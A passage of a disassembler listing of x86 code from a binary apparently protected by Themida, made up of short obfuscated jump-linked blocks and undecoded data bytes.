		pop	dword ptr [esp]
		jmp	loc_56E570
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C4h, 55C38100h, 2958AA01h, 55BA52C3h, 2958AA01h, 1602E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F082:				; CODE XREF: Themida_:005649A1j
		mov	edx, 60EE7585h
		not	edx
		sub	edx, 5E1E13F6h
		inc	edx
		jmp	loc_56B8A4
; ---------------------------------------------------------------------------


loc_55F095:				; CODE XREF: Themida_:0055E572j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_560F7D
; ---------------------------------------------------------------------------


loc_55F09E:				; CODE XREF: Themida_:0055F0F4j
		pop	ecx
		mov	ebp, ebx
		pop	ebx
		mov	ecx, 298A5D38h
		jmp	loc_567A37
; ---------------------------------------------------------------------------


loc_55F0AC:				; CODE XREF: Themida_:00571ED4j
		push	eax
		push	58AD0CB7h
		jmp	loc_56C5A4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4A580E2Dh, 0E9F8015Fh, 0E44Fh, 1D13E955h, 5D5B0000h
		dd 3162BE56h, 85E99EEEh
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F0D7:				; CODE XREF: Themida_:005717CCj
		push	ebp
		push	ebx
		push	ecx
		mov	ecx, 448B7270h
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		shl	ecx, 8
		sub	ecx, 62410067h
		add	ecx, 46EECDF6h
		mov	ebx, ecx
		jmp	loc_55F09E
; ---------------------------------------------------------------------------
		db 1, 0FAh, 5Fh
a_s_0		db '_é[Å',0
		align 2
		dw 0EDC1h
		dd 0E9D5F702h, 0FE25h, 0B8h, 96F02900h,	0FB7AE958h, 0E95C0000h
		dd 2EFh, 4DDCEE81h, 0F32939A0h,	0E9DD015Eh, 0EB1Dh
; ---------------------------------------------------------------------------


loc_55F130:				; CODE XREF: Themida_:0056F0F8j
		mov	edi, 90E355Eh
		jmp	loc_5635C7
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E9580424h, 0FD13h, 370EE581h, 0ED815BCAh, 4A88FFBCh
		dd 0A0E9EB89h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------


loc_55F157:				; CODE XREF: Themida_:00570973j
		neg	edx
		xor	edx, 7F5D758Eh
		add	eax, edx
		pop	edx
		add	eax, 25333B93h
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_56B1C7
		push	eax
		mov	eax, 20h
		add	eax, edi
		push	3408h
		mov	[esp], edx
		push	edi
		push	edx
		mov	edx, 77AE7EBBh
		sub	edx, 54217A47h
		mov	edi, edx
		pop	edx
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563553
; ---------------------------------------------------------------------------


loc_55F1A5:				; CODE XREF: Themida_:0056DBE9j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, eax
		jmp	loc_56238F
; ---------------------------------------------------------------------------


loc_55F1B2:				; CODE XREF: Themida_:00571C23j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edx, 29B022C7h
		push	ecx
		mov	ecx, 0D9F4D42h
		add	edx, 5A4114D9h
		sub	edx, ecx
		sub	edx, 5A4114D9h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56B416
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 2Ch
		dd 0C1356124h, 2404010Ch, 2C55E9h, 7AB95100h, 0E97F573Dh
		dd 7329h, 0C281FA01h, 427D06B2h, 0CC7E95Fh, 0BA520001h
		dd 12BB2991h, 6685CA81h, 0DAF74A6Eh, 7D5CE281h,	0E94256C1h
		dd 4642h, 0ED1400BDh, 6ADDE90Bh, 0C890000h, 74B524h, 0F58859EEh
		dd 4EC815Ah, 89000000h,	0E9502414h, 0F33Fh, 5A2434FFh
		dd 0E21E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F25D:				; CODE XREF: Themida_:0056A487j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 427908EEh
		jmp	loc_55D6F3
; ---------------------------------------------------------------------------
		db 0B2h, 0E1h, 80h
		dd 0DAF6C7CAh, 0EC81C2FEh, 2, 241C8966h, 4C95E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F285:				; CODE XREF: Themida_:0055FDF5j
		sub	[esp], esi
		pop	esi
		or	esi, 0E647532h
		add	esi, 7DEE4627h
		add	esi, 0B92B5AE1h
		sub	ecx, esi
		pop	esi
		sub	ecx, 267812DFh
		jmp	loc_560A72
; ---------------------------------------------------------------------------
		db 68h,	4Eh, 18h
		dd 3C890000h, 5FB95124h, 0E97F3B67h, 834Fh, 5C243C87h
		dd 68240C89h, 5FCDh, 24048F54h,	4BE56h,	0FCE90000h, 2900001Ch
		dd 42E95AD6h, 8300005Bh, 0F78904C4h, 6824348Bh,	5DACh
		dd 89240C89h, 0A0E6E9E1h, 0EC830000h, 24148904h, 0CA5E60BAh
		dd 0D1EA8177h, 5018F92Ch, 9F2B19B8h, 58C23136h,	89D18951h
		dd 3AE959CBh, 0BD000056h, 20C01CC8h, 815BDD01h,	3E6037F5h
		dd 41CD873Dh, 0ED81CD87h, 496EE6ADh, 0E477E9h, 5BBE5600h
		dd 89162959h, 2DE95EF1h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F347:				; CODE XREF: Themida_:00570655j
		xor	edi, 48EE0F4Fh
		push	edi
		pop	esi
		jmp	loc_56168F
; ---------------------------------------------------------------------------


loc_55F354:				; CODE XREF: Themida_:00567872j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, ecx
		pop	ecx
		xor	edi, ebx
		jmp	loc_55E1CB
; ---------------------------------------------------------------------------


loc_55F369:				; CODE XREF: Themida_:00569089j
		add	eax, 3E830E4Eh
		mov	ecx, [esp]
		push	39EEh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_562A44
; ---------------------------------------------------------------------------
		dd 0F702E6C1h, 0D5BA52D6h, 291C4F5Ch, 0C6815AD6h, 0C3F705C1h
		dd 348BF231h, 4C48124h,	68000000h, 79A9h, 57241C89h, 10286853h
		dd 565B6F70h, 0A449CEBEh, 0E9E6D15Dh, 0F161h
; ---------------------------------------------------------------------------


loc_55F3D4:				; CODE XREF: Themida_:0056CD86j
		add	ebp, 0FFFFFFFFh
		jmp	loc_5635A9
; ---------------------------------------------------------------------------
		db 58h
		dd 805BFE08h, 0EE804DE6h, 5AF028C3h, 0F319E9h, 5DF78100h
		dd 8161AB75h, 2B091DE7h, 81D7F703h, 979622F7h, 5FFA2924h
		dd 3FE9D589h, 52000121h, 0B951E289h, 4,	8359CA01h, 88E904C2h
		dd 5A00011Dh, 0CF0DA925h, 0E9D8F77Ch, 4A11h, 0EAED815Ah
		dd 4D142E76h, 0EBE581h,	12E94E5Dh, 57000038h, 0FC0AADBFh
		dd 32BA5234h, 81710B21h, 31A48E2h, 0FDF28105h, 0E966922Ch
		dd 357Ah, 9A1795BEh, 0E9F70161h, 0C821h, 6432A0BAh, 1EEB816Dh
		dd 2934390Eh, 1EC381D3h, 5A34390Eh, 0BE9C329h, 8100001Ah
		dd 0ED6DC5CEh, 3EEC154h, 0E124E9h, 0BF575A00h, 37C47E1Ah
		dd 15FFB01h, 1AEB81F3h,	8B37C47Eh, 0C4812434h, 4, 12140E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F4B5:				; CODE XREF: Themida_:0055FB07j
		mov	esi, 6D84D88h
		and	esi, 429968C3h
		not	esi
		jmp	loc_55E2EC
; ---------------------------------------------------------------------------
a1Hj		db '1ØhJ ',0
		align 2
		dw 1489h
		dd 1B47BA24h, 0BB536846h, 1, 6A0FC281h,	0DA29783Eh, 6A0FEA81h
		dd 0C15B783Eh, 554A02E2h, 8D91E9h, 5BD82900h, 0B622040Dh
		dd 35D8F752h, 818226F7h, 0E9ACE9h, 19546800h, 34890000h
		dd 58F8BE24h, 0EBBD3955h, 81459EF7h, 1924DAC5h,	0AEED8170h
		dd 17BD57Ch, 0DAE953F5h, 0FF00004Bh, 83582434h,	0C38304C4h
		dd 74FF5304h, 65E90424h, 68000084h, 225Eh, 10F82E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F54D:				; CODE XREF: Themida_:0057160Ej
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_568474
; ---------------------------------------------------------------------------
aIqSI		db '‰ï]é',0Ah
		db '¨',0
		align 4
		dd 6604C483h, 662A9A68h, 55240489h, 48A3E9h, 4DC0400h
		dd 398FE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F57E:				; CODE XREF: Themida_:00567233j
		pop	eax
		add	eax, 0F1C19DB4h
		push	edx
		jmp	loc_568982
; ---------------------------------------------------------------------------
		dw 5666h
		dd 2414F766h, 12C47E9h,	2434FF00h, 2520E9h, 89505700h
		dd 405E0h, 42D0000h, 0E9000000h, 101B0h, 262248B9h, 0D7E98158h
		dd 8176C749h, 0FF417EC1h, 0C438E94Ch, 8B660000h, 0E8682404h
		dd 0E9000029h, 858Eh, 2404335Fh, 33240431h, 895C2404h
		dd 9C502414h, 0FFD8DCE9h, 1CC281FFh, 81416772h,	8958A8C2h
		dd 0EE95932h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5FB:				; CODE XREF: Themida_:0056429Cj
		dec	dword ptr [esp]
		pop	edx
		or	edx, 12493D80h
		add	edx, 0E132C265h
		add	ecx, edx
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5618E9
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 5BD90100h, 8669E9h, 24148B00h,	4C481h,	0F9E90000h
		dd 0B800009Dh, 78634212h, 1D350D48h, 6635222Ah,	892D172Bh
		dd 0C3E958C1h, 0BF0000B2h, 58DB1FB8h, 0F75FFE31h, 0E9D687D6h
		dd 0A698h
; ---------------------------------------------------------------------------


loc_55F660:				; CODE XREF: Themida_:0056219Aj
		push	ebp
		pop	edx
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_563833
		push	ebx
		mov	ebx, 1Ch
		sub	ebx, 0F3B57BAh
		add	ebx, 3ECB1783h
		add	ebx, edi
		sub	ebx, 3ECB1783h
		jmp	loc_5718BC
; ---------------------------------------------------------------------------
aYsil		db 'Yé©L',0
		dd 547F0500h, 0D80174C1h, 0C1547F2Dh, 6DE80574h, 34FF68AFh
		dd 2434FF24h, 4C4835Bh,	4C481h,	0C3310000h, 184D68h, 0FD45E900h
		dd 0C4830000h, 0E910E904h, 34FFFFFFh, 2D5AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F6D6:				; CODE XREF: Themida_:00567D27j
		xor	ebx, 0D3160D3h
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 33319F5h
		push	esi
		mov	esi, 1C5FF3D7h
		sub	edx, esi
		pop	esi
		mov	edi, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, edi
		jmp	loc_5660EE
; ---------------------------------------------------------------------------
		dd 5BD8015Fh, 8B240487h, 0C8B2424h, 0C4E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F72A:				; CODE XREF: Themida_:00570015j
		add	esp, 4
		sub	esi, 0FFFFFFFFh
		sub	esi, 14495A12h
		shr	esi, 7
		add	esi, 5FF42715h
		add	esi, 290D29h
		push	33A9h
		mov	[esp], ebx
		mov	ebx, 72FD457Dh
		push	esi
		push	edx
		mov	edx, 1
		mov	esi, edx
		pop	edx
		sub	ebx, esi
		jmp	loc_56E475
; ---------------------------------------------------------------------------
		db 0BFh, 97h, 6Eh
		dd 89E960FDh, 80000094h, 0EB802BC3h, 148B6695h,	70276824h
		dd 0E6E90000h, 81000126h, 1E7369F7h, 53DFF739h,	132184BBh
		dd 4E3C138h, 758FE381h,	30E93A67h, 89000041h, 98E955E0h
		dd 0FFFFFFFCh, 148B2434h, 0E2895224h, 4C281h, 0E9530000h
		dd 0CAEh, 110DD8F7h, 54A114Dh, 14192BC7h, 507E8C1h, 4129B888h
		dd 958C389h, 0D6F75BDEh, 0EE81EED1h, 1C4E0779h,	8107E6C1h
		dd 9529B0F6h, 0E9F30111h, 1422h, 0EC83555Eh, 241C8904h
		dd 0BF0ED8BBh, 0FD03E944h, 5266FFFFh, 0FFFFBA66h, 66D70166h
		dd 8324148Bh, 12E902C4h, 660000BBh, 5024048Bh, 6043E9h
		dd 13B95100h, 0D15ECA5Fh, 0C181E1h, 0E96A0B43h,	898Dh
		dd 0C381665Ch, 8166021Dh, 6612CDC3h, 0ECE9C301h, 81000064h
		dd 561C61F1h, 0ECE18119h, 8139891Ah, 5D1D62E9h,	0FEE98149h
		dd 55C7AAFCh, 9A59E9h, 0E5C14D00h, 81F58105h, 1915446h
		dd 1483E9E8h, 0E9570000h, 6AFEh, 4C481h, 1FE90000h, 66000049h
		dd 0E9240C8Bh, 37A8h, 81240C8Bh, 4C4h, 4C48100h, 0E9000000h
		dd 4318h, 20B2525Ah, 2C5AD728h,	0E95F04EEh, 5BF3h, 4C481h
		dd 0E1C10000h, 8E1C108h, 240C8751h, 0C87D1F7h, 45685924h
		dd 8900001Eh, 0FBBB241Ch, 0E9EEB7FFh, 0E366h, 50240C89h
		dd 55916851h, 5559571Fh, 0B4A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F8F1:				; CODE XREF: Themida_:0055DA26j
		shl	ecx, 1
		sub	esp, 4
		jmp	loc_565E55
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C5h, 242C8700h, 53CEFE5Ch, 0C780A8B7h, 0E9DFF65Dh
		dd 1202Ah, 240C8B66h, 2CB68h, 6DE6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F926:				; CODE XREF: Themida_:0055D052j
		pop	ebp
		xchg	esi, ebx
		not	esi
		jmp	loc_56018C
; ---------------------------------------------------------------------------


loc_55F930:				; CODE XREF: Themida_:00563393j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56848E
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2241489h, 66D788EAh, 8324148Bh, 0EF8002C4h, 80CF28C6h
		dd 5059C6C7h, 290C6DB0h, 0C8FEC8FEh, 0C700442Ch, 0FFF83058h
		dd 815B2434h, 4ECh, 240C8900h, 0D58FE9h, 0C1EFD100h, 0DFF707E7h
		dd 790BBE56h, 0CE817664h, 1E7B3AADh, 3613C681h,	18E99C2Eh
		dd 0BB0000E3h, 3A8B1BF6h, 3771E381h, 0E38106A0h, 18B92973h
		dd 7074F381h, 0EB815898h, 0ED9683Ch, 1C8BDF89h,	4C48124h
		dd 51000000h, 51C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F9C1:				; CODE XREF: Themida_:00564F05j
		push	dword ptr [esp]
		jmp	loc_56493A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5A000000h, 0D90AE953h, 0C481FFFFh, 4, 24E7B850h, 0EF816087h
		dd 0D501C56h, 0D8E9C729h, 66FFFFF2h, 52240C8Bh,	0A086E954h
		dd 0EC810000h, 4, 68240C89h, 2855126Ch,	0E9240C8Bh, 0A608h
		dd 10E915B0h, 0B900004Ch, 40D714BAh, 0F7F98749h, 4EAFE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA26:				; CODE XREF: Themida_:005658B6j
		mov	edx, [esp]
		push	2AF3h
		mov	[esp], ebp
		jmp	loc_562EB7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 1EF18004h, 0C828932Ch, 32E99304h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA47:				; CODE XREF: Themida_:0055EBC1j
		pop	esp
		jmp	loc_56DDA1
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 5
		dd 77EFF781h, 0F7817627h, 833AB8C1h, 111D7E9h, 0E7C78100h
		dd 8B608724h, 0E9522434h, 0A4F6h
; ---------------------------------------------------------------------------


loc_55FA70:				; CODE XREF: Themida_:0056DE09j
		push	ecx
		mov	ecx, 8598FF94h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_563F8D
; ---------------------------------------------------------------------------
		dd 4B4EF281h, 0C2810CB4h, 9096C973h, 555AD001h,	4BDh, 5DE82900h
		dd 8B240487h, 14892424h, 0E9FEB624h, 663Bh, 81243C8Bh
		dd 4C4h, 658CE900h, 55590000h, 342CFABDh, 5DEF0949h, 589DEF81h
		dd 0E950202Bh, 0D025h, 4BA52h, 0AE90000h, 6600001Ah, 2FA0E95Bh
		dd 77FF0000h, 59669D1Ch, 9C2414D3h, 4C23E9h, 0E92B8800h
		dd 0FFFFD971h, 9CE95F54h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55FAFF:				; CODE XREF: Themida_:00570280j
		xor	edi, 6F91145Bh
		push	edx
		push	esi
		jmp	loc_55F4B5
; ---------------------------------------------------------------------------
		dd 24048966h, 1244CFEh,	11FCFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FB19:				; CODE XREF: Themida_:0055E605j
		pop	edi
		neg	edx
		add	edx, 21818AF1h
		jmp	loc_56DCA5
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFDDh, 4C4815Bh,	0E9000000h, 355Ch
; ---------------------------------------------------------------------------


loc_55FB38:				; CODE XREF: Themida_:0055D728j
		push	esi
		mov	esi, 70339F2h
		xor	esi, 677E777Ah
		sub	esi, 79F10A61h
		jmp	loc_564879
; ---------------------------------------------------------------------------
		db 1
		dd 0F008E9F1h, 0E9540000h, 0F172h, 2534BF57h, 0F8014F4Ch
		dd 243C8B5Fh, 81E68956h, 4C6h, 4C68100h, 56000000h, 42474FFh
		dd 4D5DE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB82:				; CODE XREF: Themida_:005635A4j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, ebx
		push	edx
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56520D
; ---------------------------------------------------------------------------
		db 59h
		dd 0C8B35352h, 77E9DBF6h, 81000050h, 0FC4E9EC1h, 81C10158h
		dd 0FC4E9EE9h, 0D356E958h, 0FB01FFFFh, 57F3295Fh, 4CEBBB53h
		dd 0DF896B31h, 11C3815Bh, 2928E147h, 11EB81FBh,	5F28E147h
		dd 10629E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FBE9:				; CODE XREF: Themida_:00560F64j
		pop	edx
		push	ebp
		push	ebx
		jmp	loc_565D8A
; ---------------------------------------------------------------------------
aVpsA		db 'VPé»A',0
		align 4
		dd 0FFD2C8E9h, 0BDE981FFh, 5737A548h, 1426E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC09:				; CODE XREF: Themida_:005670C0j
		pop	ebp
		sub	ebx, 54066BF3h
		add	ebx, ecx
		add	ebx, 54066BF3h
		jmp	loc_56D9F1
; ---------------------------------------------------------------------------
		db 0F6h, 0DAh, 0C0h
		dd 686607EAh, 89660D2Ch, 0D4882404h, 0E288C4FEh, 0EA805866h
		dd 5BC380EEh, 0EB80D300h, 2318E95Bh, 315B0000h,	3DA2E9C1h
		dd 0F8890000h, 8A7BF5Fh, 0C7315344h, 582434FFh,	0F548E9h
		dd 1E1C6800h, 79E9621Bh, 810000F1h, 583309F3h, 5BDD2951h
		dd 0C581D501h, 21FE2E09h, 4ED835Ah, 0FFE433E9h,	423C68FFh
		dd 1C890000h, 0E344E924h, 0C181FFFFh, 322D21D1h, 0CE9CB21h
		dd 5600008Dh, 4BF57h, 0CBE90000h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCA7:				; CODE XREF: Themida_:005635ABj
		xor	ebp, 9CCAA1E4h
		sub	ebx, 40372DDCh
		add	ebx, ebp
		add	ebx, 40372DDCh
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5622CE
; ---------------------------------------------------------------------------


loc_55FCE7:				; CODE XREF: Themida_:0055F04Aj
		mov	edi, ecx
		pop	ecx
		not	edi
		jmp	loc_57202B
; ---------------------------------------------------------------------------
aXSPsb		db 'XÁá',7,'Péº',0
		dw 0C100h
		dd 0F68105E6h, 0EFBFF284h, 2847C181h, 0F10148AEh, 2847E981h
		dd 88E948AEh, 54000037h, 4C18159h, 83000000h, 0D26804E9h
		dd 8900002Fh, 74FF240Ch, 0B9E90424h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD33:				; CODE XREF: Themida_:0056C307j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], bp
		push	small word ptr [esp+2]
		pop	bp
		pop	small word ptr [esp]
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------


loc_55FD4B:				; CODE XREF: Themida_:00571B01j
		xor	ecx, 0A296DAEh
		xor	ecx, 64D272Fh
		not	ecx
		sub	ecx, 359634E5h
		jmp	loc_56DC35
; ---------------------------------------------------------------------------
		dd 0E940478Fh, 0FFFFD159h
; ---------------------------------------------------------------------------


loc_55FD6C:				; CODE XREF: Themida_:005650A8j
		push	ebp
		push	730C7C21h
		pop	ebp
		inc	ebp
		jmp	loc_56C6B6
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0C5810000h, 4, 7D8A68h, 240C8900h, 268h, 0C5815900h
		dd 4DC2475Bh, 0DB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDA1:				; CODE XREF: Themida_:00560855j
		push	esi
		push	ecx
		push	67F95AE7h
		pop	ecx
		jmp	loc_562A35
; ---------------------------------------------------------------------------
		dd offset dword_5BFD88
		dw 59EAh
		dd 0FE67B551h, 70C580C5h, 8059EA28h, 596687EAh,	2CB75366h
		dd 10EDBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FDCD:				; CODE XREF: Themida_:00563EBDj
		shl	ecx, 2
		xor	ecx, 0F94E56h
		sub	ecx, 61917ED3h
		add	ecx, 90DA30ADh
		push	esi
		mov	esi, 199C795Ch
		or	esi, 68E7FCCh
		not	esi
		push	0
		jmp	loc_55F285
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 2404875Bh, 0D531665Ch, 66EA3166h, 74E9D531h
		db 0D9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FE0F:				; CODE XREF: Themida_:0056EF5Dj
		sub	ebp, 1EAC35BBh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5713E2
; ---------------------------------------------------------------------------


loc_55FE1D:				; CODE XREF: Themida_:005651BFj
		pop	edx
		or	edx, eax
		jmp	loc_572194
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 5Ch
		dd 0E91C8B4Eh, 0E757h, 0D8F6ACB0h, 68h,	24042800h, 8324048Ah
		dd 0F7E904C4h, 5400011Eh, 0FFEC4AE9h, 466E68FFh, 0EC830000h
		dd 48F5404h, 4EC8124h, 89000000h, 42E9240Ch
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FE67:				; CODE XREF: Themida_:00571A59j
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4
		push	ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_568F53
; ---------------------------------------------------------------------------
		dw 6851h
		dd 67877179h, 118FAE9h,	95EA8000h, 148BD300h, 4C48124h
		dd 0E9000000h, 6160h, 0C228AA04h, 24048B66h, 2802C483h
		dd 0D8305AD3h, 10FFFE9h, 89575D00h, 4B850E7h, 1000000h
		dd 0C78358C7h, 9619E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FECA:				; CODE XREF: Themida_:0056EE80j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	51A4h
		mov	[esp], eax
		push	302Bh
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_560AE5
; ---------------------------------------------------------------------------
		dd 0CE81D6F7h, 6B847BC2h, 20C9F681h, 0E6C1685Fh, 0F21AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF06:				; CODE XREF: Themida_:005646D5j
		xor	ecx, edi
		jmp	loc_5675BE
; ---------------------------------------------------------------------------
aSsP		db 'ÐáéÉp',0
		align 4
		dd 8B2434FFh, 0C481242Ch, 4, 0FFD3A6E9h, 0A5E956FFh, 5AFFFFFBh
		dd 5C24048Fh, 51241C8Bh, 0BF575954h, 4,	575FF901h, 7146D2BFh
		dd 63E78100h, 0F71F5F4Bh, 0B8F781D7h, 0F777CC06h, 3EC781DFh
		dd 81138C42h, 29873DF7h, 5FF9018Bh, 2474FF51h, 48F5904h
		dd 52E95C24h, 87FFFFCFh, 815F240Ch, 0E33FDEEFh,	5BEF812Ch
		dd 11D2556h, 0DE2DE9F8h, 0F681FFFFh, 113D3500h,	0C2A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF95:				; CODE XREF: Themida_:00562B85j
		mov	edx, ebp
		jmp	loc_56517D
; ---------------------------------------------------------------------------
dword_55FF9C	dd 0DBE9CA01h, 5A0000E0h, 60461005h, 4EC8358h, 0E9243C89h
		dd 0D060h, 0D388DEB2h, 4EC835Ah, 51241489h, 3AB617B1h
		dd 3059CE00h, 0CB805AF3h, 1EB8099h, 2859C380h, 2434FFD8h
		dd 93C8E9h, 0E9C15F00h,	28B85007h, 0D5B375Dh, 429166C1h
		dd 0C106E0C1h, 6808E8h,	0E9000000h, 619Dh, 0F470ADBAh
		dd 0F0C2817Dh, 2982C1B9h, 0F0015AD0h, 0B62A9D05h, 0D9A8E900h
		dd 53AD0000h, 9363E4BBh, 0BD554B26h, 779759Eh, 34FFEB31h
		dd 0FE87E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56002E:				; CODE XREF: Themida_:0056305Ej
		mov	eax, 4
		sub	ebp, 6E651E82h
		add	ebp, eax
		add	ebp, 6E651E82h
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_563ECC
; ---------------------------------------------------------------------------
a3s		db '·3é{',0Dh,0
		dd 4C28300h, 5C241487h,	0B60FC330h, 48F66C0h, 0CE57E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56006E:				; CODE XREF: Themida_:005603F6j
		mov	[esp], edx
		jmp	loc_56447C
; ---------------------------------------------------------------------------
aFiS9v		db 'f‰Êé9¢',0
		align 2
		dw 8950h
		dd 405E0h, 0C0830000h, 9703E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56008E:				; CODE XREF: Themida_:0056B8C4j
		push	79E9h
		mov	[esp], ebp
		push	ecx
		jmp	loc_566BCC
; ---------------------------------------------------------------------------
		dd 0E94077FFh, 0FFFFCE21h, 83243C8Bh, 148B04C4h, 4C48324h
		dd 0E904C383h, 0F7h, 832630BDh,	0D4C58168h, 1977CD9h, 0C875DE9h
		dd 0C4815C24h, 4, 8904EC83h, 5A542414h,	101268h, 241C8900h
		dd 4BBh, 0E9DA0100h, 0FF35h, 656A9EB9h,	4EC8321h, 0E9243C89h
		dd 0F5B0h
; ---------------------------------------------------------------------------


loc_5600FC:				; CODE XREF: Themida_:00568F6Aj
		sub	esp, 4
		jmp	loc_5624F7
; ---------------------------------------------------------------------------
		dd 0B8h, 9C0AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56010E:				; CODE XREF: Themida_:00571D9Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5662A1
; ---------------------------------------------------------------------------
		db 40h,	0C1h, 0E8h
		dd 51E95506h, 330000E6h, 0D35C241Ch, 0E99C240Ch, 0FFFFCD91h
; ---------------------------------------------------------------------------


loc_560134:				; CODE XREF: Themida_:0056BB5Cj
		pop	esp
		mov	[esp], ebp
		jmp	loc_56B003
; ---------------------------------------------------------------------------


loc_56013D:				; CODE XREF: Themida_:0056D480j
		mov	[esp], esi
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_56F25C
; ---------------------------------------------------------------------------


loc_56014B:				; CODE XREF: Themida_:00566041j
		add	esi, ecx
		jmp	loc_56FB01
; ---------------------------------------------------------------------------


loc_560152:				; CODE XREF: Themida_:00565464j
		add	ebp, 4B3A43F4h
		add	ebp, ebx
		jmp	loc_56A19C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0F5A4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560166:				; CODE XREF: Themida_:00561721j
		add	esp, 4
		xor	eax, 45B002BAh
		add	eax, 46786C7Bh
		shl	eax, 7
		sub	eax, 0C96CB299h
		mov	edi, eax
		pop	eax
		not	edi
		sub	edi, 69575BF2h
		push	edx
		jmp	loc_56EFE0
; ---------------------------------------------------------------------------


loc_56018C:				; CODE XREF: Themida_:0055F92Bj
		xchg	esi, ebx
		jmp	loc_566119
; ---------------------------------------------------------------------------
		db 28h
